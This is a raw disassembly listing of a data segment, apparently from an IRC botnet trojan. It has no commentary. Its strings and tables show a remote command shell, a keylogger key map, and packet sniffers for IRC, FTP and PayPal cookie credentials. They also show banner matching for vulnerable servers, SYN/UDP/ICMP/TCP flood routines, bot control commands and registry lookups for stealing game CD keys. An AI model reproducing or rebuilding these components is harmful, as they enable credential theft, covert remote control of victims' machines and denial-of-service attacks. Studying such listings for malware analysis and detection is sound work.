unk_43C644	db  2Dh	; -		; DATA XREF: sub_4112D7+59o
					; sub_4112D7+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_43C68C	db  2Dh	; -		; DATA XREF: sub_411428+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_43C6B4	db  2Dh	; -		; DATA XREF: sub_411428+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_43C6F4	db  2Dh	; -		; DATA XREF: sub_411428+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_43C734	db  2Dh	; -		; DATA XREF: sub_411521+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411521+8Co
		align 4
unk_43C774	db  2Dh	; -		; DATA XREF: sub_4115FA+A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
dword_43C7B0	dd 234032Dh, 6B636F73h,	3023473haFailedToSta_38	db '- Failed to start server on Port %d.',0
		align 4
dword_43C7E4	dd 234032Dh, 6B636F73h,	3023473haFailedToSta_39	db '- Failed to start client thread, error: <%d>.',0
		align 10h
dword_43C820	dd 234032Dh, 6B636F73h,	3023473haClientConnec_1	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
dword_43C8E8	dd 234032Dh, 6B636F73h,	3023473h, 7541202Dh, 6E656874h
					; DATA XREF: seg000:00411AC6o
		dd 61636974h, 6E6F6974h, 69616620h, 2E64656Ch, 6D655220h
		dd 2065746Fh, 72657375h, 203A6469h, 21207325h, 7325203Dh
		dd 2Eh,	4000500h, 7868746Bh, 0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB_1:					; DATA XREF: seg000:loc_4123D9o
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_43D0AC	dd 38h,	38000000h, 2 dup(0)		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_43D0E4	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: seg000:0041229Do
		align 4
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: seg000:0041251Eo
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: seg000:004124DBo
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: seg000:00412385o
		align 10h
off_43D160	dd offset dword_43D9D8	; DATA XREF: seg000:00412890r
		dd offset off_43D9D4
		dd offset aFtp		; "FTP"
		dd offset aHttp_0	; "HTTP"
dword_43D170	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_43D184	dd 0				dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: seg002:0043D16Co
		align 10h
aFtp		db 'FTP',0              ; DATA XREF: seg002:0043D168o
off_43D9D4	dd offset off_435248+1	; DATA XREF: seg002:0043D164o
dword_43D9D8	dd 544F42h	dword_43D9DC	dd 234032Dh, 696E7370h,	3026666haRecvFailedRetu	db '- recv() failed, returned %d',0
		align 4
dword_43DA08	dd 234032Dh, 696E7370h,	3026666haSuspiciousSPac	db '- suspicious %s packet from: %s:%d - %s',0
dword_43DA3C	dd 234032Dh, 696E7370h,	3026666h, 2Dhdword_43DA4C	dd 4E53505Bh, 5D464649h, 0dword_43DA58	dd 234032Dh, 696E7370h,	3026666haWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
dword_43DA88	dd 234032Dh, 696E7370h,	3026666haBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
dword_43DAB4	dd 234032Dh, 696E7370h,	3026666haSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: seg000:00412A65o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: seg000:00412A50o
		align 4
aIdent		db ':!ident',0          ; DATA XREF: seg000:00412A3Bo
a_ident		db ':.ident',0          ; DATA XREF: seg000:00412A2Ao
a_login		db ':.Login',0          ; DATA XREF: seg000:00412A19o
aLogin_0	db ':!Login',0          ; DATA XREF: seg000:00412A08o
aLogin_1	db ':!login',0          ; DATA XREF: seg000:004129F7o
a_login_0	db ':.login',0          ; DATA XREF: seg000:004129E6o
a366		db '366 ',0             ; DATA XREF: seg000:004129D5o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: seg000:loc_4129C4o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: seg000:004129AFo
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: seg000:0041299Eo
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: seg000:0041298Do
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: seg000:00412967o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412A79+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412A79+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412A79:loc_412AB9o
					; sub_412AEF+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412A79+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412A79+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_412AEF+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_412AEF+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_412AEF:loc_412B40o
		align 4
a220		db '220 ',0             ; DATA XREF: sub_412AEF+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_412AEF+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412B76+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412B76+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412B76+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412B76:loc_412BB6o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412B76+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412B76+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_412BFD+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_412BFD:loc_412C3Do
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_412BFD+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_412BFD+5o
		align 4
unk_43DC4C	db  2Dh	; -		; DATA XREF: seg000:0041304Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43DC84	db  2Dh	; -		; DATA XREF: seg000:00412FE4o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43DCBC	db  2Dh	; -		; DATA XREF: seg000:00412FB3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43DCF0	db  2Dh	; -		; DATA XREF: seg000:00412F7Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43DD58	db  2Dh	; -		; DATA XREF: seg000:00412DADo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFail_0	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_43DD88	db  2Dh	; -		; DATA XREF: seg000:00412D27o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRe_0	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_43DDDC	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413107+302o
		dd 203A726Fh, 6425h
dword_43DDF8	dd 736F6464h, 6E61722Eh, 6D6F64hdword_43DE04	dd 736F6464h, 6B63612Eh, 0dword_43DE10	dd 736F6464h, 6E79732Eh, 0		dd 234032Dh, 706D6369h,	202D0302h, 656E6F64h, 74697720h
		dd 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh, 6573202Eh
		dd 2520746Eh, 61702064h, 74656B63h, 20402073h, 424B6425h
		dd 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		dd 234032Dh, 26E7973h, 44202D03h, 20656E6Fh, 68746977h
		dd 6F6C6620h, 2820646Fh, 424B6925h, 6365732Fh, 2E29h, 234032Dh
		dd 26E7973h, 53202D03h,	20646E65h, 6F727265h, 3C203A72h
		dd 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	6E7973h, 234032Dh, 2706374h, 49202D03h,	6C61766Eh
		dd 74206469h, 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h
		dd 45202D03h, 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh
		dd 66202928h, 656C6961h, 72202C64h, 72757465h, 3A64656Eh
		dd 64253C20h, 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6F73203Ah, 74656B63h, 66202928h, 656C6961h, 72202C64h
		dd 72757465h, 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h
		dd 2696D61h, 44202D03h,	20656E6Fh, 68746977h, 6F6C6620h
		dd 202C646Fh, 70206425h, 656B6361h, 73207374h, 2E746E65h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0            ; DATA XREF: seg000:0041542Co
		align 4
dword_43E41C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3dword_43E430	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4157A6+60o
		align 4
dword_43E468	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415846:loc_41587Bo
dword_43E47C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415846+20o
dword_43E490	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: seg000:00415963o
		dd 6574656Ch, 0
dword_43E4AC	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: seg000:004158C6o
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: seg000:004159C7o
aWindow		db 'Window',0           ; DATA XREF: sub_415BF1+23o
					; sub_415DEA+26o
		align 4
		dd 80000001h
off_43E4DC	dd offset aSoftwareValveC ; DATA XREF: sub_416029+Cr
					; sub_416029+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_43E4E8	dd 2 dup(0)			dd 80000001h, 43F66Ch, 43F660h,	43F650h, 2 dup(0)
		dd 80000001h, 43F630h, 43F62Ch,	43F618h, 2 dup(0)
		dd 80000001h, 43F5F4h, 43F62Ch,	43F5E8h, 2 dup(0)
		dd 80000001h, 43F5C4h, 43F5BCh,	43F5A8h, 2 dup(0)
		dd 80000001h, 43F594h, 43F584h,	43F568h, 2 dup(0)
		dd 80000001h, 43F524h, 43F6ACh,	43F510h, 2 dup(0)
		dd 80000002h, 43F4E4h, 43F4D8h,	43F4B8h, 2 dup(0)
		dd 80000002h, 43F484h, 43F6ACh,	43F46Ch, 2 dup(0)
		dd 80000002h, 43F438h, 43F6ACh,	43F420h, 2 dup(0)
		dd 80000002h, 43F408h, 43F6ACh,	43F3F0h, 2 dup(0)
		dd 80000002h, 43F3B4h, 443398h,	43F3A4h, 2 dup(0)
		dd 80000002h, 43F36Ch, 443398h,	43F358h, 2 dup(0)
		dd 80000002h, 43F30Ch, 443398h,	43F2ECh, 2 dup(0)
		dd 80000002h, 43F29Ch, 443398h,	43F270h, 2 dup(0)
		dd 80000002h, 43F234h, 443398h,	43F220h, 2 dup(0)
		dd 80000002h, 43F1E8h, 443398h,	43F1D8h, 2 dup(0)
		dd 80000002h, 43F188h, 443398h,	43F15Ch, 2 dup(0)
		dd 80000002h, 43F11Ch, 443398h,	43F100h, 2 dup(0)
		dd 80000002h, 43F0D0h, 443398h,	43F0B0h, 2 dup(0)
		dd 80000002h, 43F074h, 443398h,	43F060h, 2 dup(0)
		dd 80000002h, 43F018h, 443398h,	43EFF8h, 2 dup(0)
		dd 80000002h, 43EFA4h, 443398h,	43EF74h, 2 dup(0)
		dd 80000002h, 43EF24h, 443398h,	43EEF8h, 2 dup(0)
		dd 80000002h, 43EEB8h, 43EEB0h,	43EE90h, 2 dup(0)
		dd 80000002h, 43EE4Ch, 443398h,	43EE30h, 2 dup(0)
		dd 80000002h, 43EDE4h, 443398h,	43EDC0h, 2 dup(0)
